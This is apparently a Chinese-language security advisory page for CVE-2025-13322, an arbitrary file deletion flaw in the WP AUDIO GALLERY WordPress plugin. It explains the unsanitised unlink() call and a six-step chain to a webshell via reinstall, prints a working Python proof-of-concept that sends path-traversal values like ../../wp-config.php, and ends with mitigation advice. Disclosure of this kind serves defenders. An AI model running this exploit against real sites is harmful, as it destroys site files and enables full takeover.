IPBUF安全漏洞报告
English
CVE-2025-13322 CVSS 8.1 高危

CVE-2025-13322: WordPress WP AUDIO GALLERY插件任意文件删除漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-13322
漏洞类型
任意文件删除
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP AUDIO GALLERY plugin for WordPress

相关标签

任意文件删除WordPress插件漏洞路径遍历远程代码执行CVE-2025-13322WP AUDIO GALLERY高危漏洞AJAX漏洞

漏洞概述

WP AUDIO GALLERY是WordPress平台上的一款音频画廊插件,在2.0及之前的所有版本中存在严重的任意文件删除漏洞。该漏洞源于wpag_uploadaudio_callback() AJAX处理器对用户提交的audio_upload参数缺乏有效的文件路径验证,直接将未经清理的路径传递给PHP的unlink()函数删除文件。攻击者利用此漏洞可删除服务器上的任意文件,包括wp-config.php等关键配置文件,导致网站完全瘫痪。更为严重的是,删除wp-config.php文件后,攻击者可通过重新访问安装流程实现远程代码执行(RCE),完全接管WordPress网站。此漏洞需要认证才能利用,但只需订阅者级别(subscriber-level)的最低权限即可实施攻击,对使用该插件的WordPress网站构成严重安全威胁。

技术细节

漏洞根源在于wp-audio-gallery.php文件中的wpag_uploadaudio_callback()函数(第150行附近)。该AJAX处理函数直接获取$_POST['audio_upload']参数的值,未进行任何路径规范化或安全验证就直接传递给unlink()系统调用。攻击者可通过构造包含路径遍历序列(如../)的audio_upload参数值,突破插件目录限制,指向服务器上任意文件位置。例如,通过发送精心构造的AJAX请求,将audio_upload参数设置为../../wp-config.php,即可删除WordPress的核心配置文件wp-config.php。删除此文件后,WordPress将无法连接数据库,攻击者可通过重新执行安装向导,在数据库连接配置步骤写入恶意代码,从而实现完整的远程代码执行攻击链。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者级别账户,WordPress默认允许所有注册用户拥有订阅者权限
STEP 2
步骤2
攻击者构造恶意AJAX请求,将audio_upload参数设置为目标文件路径(如../../wp-config.php),利用路径遍历绕过目录限制
STEP 3
步骤3
发送请求到wp-admin/admin-ajax.php,触发wpag_uploadaudio_callback()函数,该函数直接将未验证的路径传递给unlink()删除文件
STEP 4
步骤4
成功删除wp-config.php等关键配置文件,导致网站功能完全失效
STEP 5
步骤5
攻击者通过访问网站安装页面(install.php),重新执行WordPress安装流程,在配置数据库连接时写入webshell
STEP 6
步骤6
实现完整的远程代码执行,可完全控制服务器,窃取数据、植入后门或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13322 PoC - WordPress WP AUDIO GALLERY Arbitrary File Deletion # Target: WordPress site with WP AUDIO GALLERY plugin <= 2.0 # Authentication required: Subscriber-level or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_nonce(target_url): """Get WordPress nonce for AJAX requests""" response = requests.get(f"{target_url}/wp-admin/", timeout=10) return response.cookies.get('wordpress_test_cookie') def authenticate(target_url, username, password): """Authenticate to WordPress and get session cookies""" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } session.post(f"{target_url}/wp-login.php", data=login_data) return session def delete_arbitrary_file(session, target_url, file_path): """ Exploit arbitrary file deletion vulnerability file_path: Path to file to delete (can use ../ for path traversal) """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload with path traversal exploit_data = { 'action': 'wpag_uploadaudio', 'audio_upload': file_path # No sanitization - direct path passed to unlink() } response = session.post(ajax_url, data=exploit_data) return response.status_code == 200 def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13322.py <file_to_delete>") print("Example: python cve-2025-13322.py ../../wp-config.php") sys.exit(1) file_to_delete = sys.argv[1] print(f"[*] Authenticating to {TARGET_URL}...") session = authenticate(TARGET_URL, USERNAME, PASSWORD) print(f"[*] Deleting file: {file_to_delete}") if delete_arbitrary_file(session, TARGET_URL, file_to_delete): print(f"[+] File deletion request sent successfully") else: print(f"[-] Exploitation failed") if __name__ == "__main__": main()

影响范围

WP AUDIO GALLERY plugin <= 2.0

防御指南

临时缓解措施
由于该漏洞需要认证才能利用,最有效的临时缓解措施是:1)禁用WordPress的公开注册功能,防止攻击者获取订阅者账户;2)暂时禁用WP AUDIO GALLERY插件,切换到其他安全的音频解决方案;3)部署WAF规则阻止包含路径遍历序列(../)的AJAX请求;4)加强对关键文件(wp-config.php、.htaccess等)的写权限控制,确保即使插件存在漏洞也无法修改这些文件;5)启用WordPress文件监控告警,发现异常文件删除行为时立即响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表